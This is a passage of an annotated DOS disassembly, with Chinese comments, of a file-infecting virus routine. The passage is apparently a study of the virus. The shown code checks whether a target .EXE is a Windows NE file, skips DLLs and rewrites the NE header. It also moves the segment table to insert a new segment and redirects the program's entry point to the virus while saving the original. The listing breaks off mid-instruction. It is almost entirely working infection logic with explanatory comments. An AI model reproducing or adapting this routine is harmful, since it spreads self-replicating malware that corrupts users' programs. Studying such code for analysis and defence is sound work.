F6C8:09B4 75BE          JNZ     0974


F6C8:09B6 50            PUSH    AX


F6C8:09B7 99            CWD     


F6C8:09B8 E83F03        CALL    0CFA


F6C8:09BB 93            XCHG    AX,BX


F6C8:09BC C745020200    MOV     WORD PTR [DI+02],0002


F6C8:09C1 B84300        MOV     AX,0043


F6C8:09C4 324528        XOR     AL,[DI+28]


F6C8:09C7 BD4F4D        MOV     BP,4D4F


F6C8:09CA 336D29        XOR     BP,[DI+29]


F6C8:09CD 0BE8          OR      BP,AX


F6C8:09CF E8BB02        CALL    0C8D


F6C8:09D2 7223          JB      09F7


F6C8:09D4 8BF2          MOV     SI,DX


F6C8:09D6 BF870E        MOV     DI,0E87


F6C8:09D9 0E            PUSH    CS


F6C8:09DA 07            POP     ES


F6C8:09DB F3            REPZ


F6C8:09DC A4            MOVSB   


F6C8:09DD E8CD02        CALL    0CAD


F6C8:09E0 91            XCHG    AX,CX


F6C8:09E1 8B05          MOV     AX,[DI]


F6C8:09E3 E8C601        CALL    0BAC


F6C8:09E6 7420          JZ      0A08


F6C8:09E8 0BD5          OR      DX,BP


F6C8:09EA 750B          JNZ     09F7


F6C8:09EC B0E9          MOV     AL,E9


F6C8:09EE AA            STOSB   


F6C8:09EF 91            XCHG    AX,CX


F6C8:09F0 2D0300        SUB     AX,0003


F6C8:09F3 AB            STOSW   


F6C8:09F4 E98D01        JMP     0B84


F6C8:09F7 E8DB02        CALL    0CD5


F6C8:09FA 58            POP     AX


F6C8:09FB 884504        MOV     [DI+04],AL


F6C8:09FE 804D0640      OR      BYTE PTR [DI+06],40


F6C8:0A02 B43E          MOV     AH,3E


F6C8:0A04 E8F302        CALL    0CFA


F6C8:0A07 C3            RET     
;=======================================================================


;	感染 .EXE 文件代码部分


;=======================================================================


F6C8:0A08 52            PUSH    DX


F6C8:0A09 51            PUSH    CX


F6C8:0A0A E82102        CALL    0C2E		;检测是否 WINDOWS 文件


F6C8:0A0D 58            POP     AX		;是,转 0A14


F6C8:0A0E 5A            POP     DX


F6C8:0A0F 7303          JNB     0A14


F6C8:0A11 E9EB00        JMP     0AFF		;DOS .EXE 转0AFF


;=======================================================================


;传染 WINDOWS .EXE 文件及新格式 .EXE 文件


F6C8:0A14 F6441580      TEST    BYTE PTR [SI+15],80


F6C8:0A18 75DD          JNZ     09F7		;.DLL 不传染


F6C8:0A1A 8B4C3A        MOV     CX,[SI+3A]	;取移位值


F6C8:0A1D D1EA          SHR     DX,1


F6C8:0A1F D1D8          RCR     AX,1


F6C8:0A21 72D4          JB      09F7		;文件长不是移位的


F6C8:0A23 E2F8          LOOP    0A1D		;整数倍不传染


F6C8:0A25 0BD2          OR      DX,DX


F6C8:0A27 75CE          JNZ     09F7		;文件 > 65535*移位单位 不传染


F6C8:0A29 A3750E        MOV     [0E75],AX	;文件大小 (新的 CS:IP 入口段)


F6C8:0A2C B108          MOV     CL,08


F6C8:0A2E 294D3C        SUB     [DI+3C],CX	;新 NE 文件头位置前移 8 字节


F6C8:0A31 19553E        SBB     [DI+3E],DX


F6C8:0A34 AC            LODSB   


F6C8:0A35 0AC0          OR      AL,AL		;如果这 8 字节不为 0


F6C8:0A37 E1FB          LOOPE   0A34		;则不传染


F6C8:0A39 75BC          JNZ     09F7


F6C8:0A3B 8B4422        MOV     AX,[SI+22]	;段地址表偏移量


F6C8:0A3E B105          MOV     CL,05


F6C8:0A40 56            PUSH    SI		;以下修改 NE 文件头下列部分


F6C8:0A41 BD0400        MOV     BP,0004		; 0004  登记表偏移


F6C8:0A44 3E            DS:			; 0024  资源表偏移


F6C8:0A45 3B02          CMP     AX,[BP+SI]	; 0026  驻留表偏移


F6C8:0A47 7304          JNB     0A4D		; 0028  模块引用表偏移


F6C8:0A49 3E            DS:			; 002A  引用名表偏移


F6C8:0A4A 830208        ADD     WORD PTR [BP+SI],+08


F6C8:0A4D BD2200        MOV     BP,0022


F6C8:0A50 46            INC     SI


F6C8:0A51 46            INC     SI


F6C8:0A52 E2F0          LOOP    0A44


F6C8:0A54 5E            POP     SI


F6C8:0A55 BD6302        MOV     BP,0263


F6C8:0A58 8B441C        MOV     AX,[SI+1C]	;段计数器 + 1


F6C8:0A5B 50            PUSH    AX


F6C8:0A5C 40            INC     AX


F6C8:0A5D 89441C        MOV     [SI+1C],AX	;入口 CS:IP 改为


F6C8:0A60 876C14        XCHG    BP,[SI+14]	;新段地址:0263


F6C8:0A63 874416        XCHG    AX,[SI+16]


F6C8:0A66 892E850E      MOV     [0E85],BP	;保存原 CS:IP 于 0E83


F6C8:0A6A A3830E        MOV     [0E83],AX


F6C8:0A6D 58            POP     AX


F6C8:0A6E BD0800        MOV     BP,0008		;段地址表长度


F6C8:0A71 F7E5          MUL     BP


F6C8:0A73 034422        ADD     AX,[SI+22]	;加上段地址表偏移


F6C8:0A76 13D1          ADC     DX,CX		;以下将整个 NE 文件头


F6C8:0A78 2D4000        SUB     AX,0040		;以及段地址表前移 8 字节


F6C8:0A7B 1BD1          SBB     DX,CX		;以便插入一个新的段地址表项


F6C8:0A7D BD0002        MOV     BP,0200


F6C8:0A80 F7F5          DIV     BP


F6C8:0A82 95            XCHG    AX,BP		;先移动余数


F6C8:0A83 B43F          MOV     AH,3F


F6C8:0A85 8BCA          MOV     CX,DX


F6C8:0A87 BA4F0F        MOV     DX,0F4F


F6C8:0A8A E81202        CALL    0C9F


F6C8:0A8D 7246          JB      0AD5


F6C8:0A8F 51            PUSH    CX


F6C8:0A90 C4553C        LES     DX,[DI+3C]


F6C8:0A93 8CC1          MOV     CX,ES


F6C8:0A95 E81C02        CALL    0CB4


F6C8:0A98 59            POP     CX


F6C8:0A99 B440          MOV     AH,40


F6C8:0A9B 83C140        ADD     CX,+40


F6C8:0A9E BA0F0F        MOV     DX,0F0F


F6C8:0AA1 E8FB01        CALL    0C9F


F6C8:0AA4 722F          JB      0AD5


F6C8:0AA6 83ED01        SUB     BP,+01		;再一次移动 200H 字节


F6C8:0AA9 722D          JB      0AD8


F6C8:0AAB 33C9          XOR     CX,CX


F6C8:0AAD BA0800        MOV     DX,0008


F6C8:0AB0 E80402        CALL    0CB7


F6C8:0AB3 B43F          MOV     AH,3F


F6C8:0AB5 B502          MOV     CH,02


F6C8:0AB7 BA4F0F        MOV     DX,0F4F


F6C8:0ABA E8E201        CALL    0C9F


F6C8:0ABD 7216          JB      0AD